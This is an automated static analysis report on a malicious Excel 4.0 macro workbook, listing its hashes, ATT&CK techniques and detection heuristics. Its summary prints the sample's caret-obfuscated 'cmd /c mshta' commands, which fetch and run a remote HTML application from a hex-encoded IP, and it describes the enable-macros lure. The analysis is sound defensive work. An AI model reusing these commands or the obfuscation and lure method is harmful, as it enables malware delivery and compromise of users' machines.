Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e4f12be31a864098…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 560181e4cde03685b805025943fb2d49 SHA-1: 4fa830abcfef35042484a7991a9ff0b15c34bcd6 SHA-256: e4f12be31a8640986ecbcea3fd9b8cf22936e0db666d6dbdd87b77e798f22415
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1566.001 Phishing: Spearphishing Attachment T1059.001 Command and Scripting Interpreter: PowerShell

The sample uses a 'Document edited in earlier version' lure to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros utilize the Auto_Open function to execute a shell command. Specifically, the script attempts to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret symbols to obfuscate the call to mshta.exe to download and execute a remote HTML application from http://0xc12a24f5/c.html and http://0xc12a24f5/cc.html.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes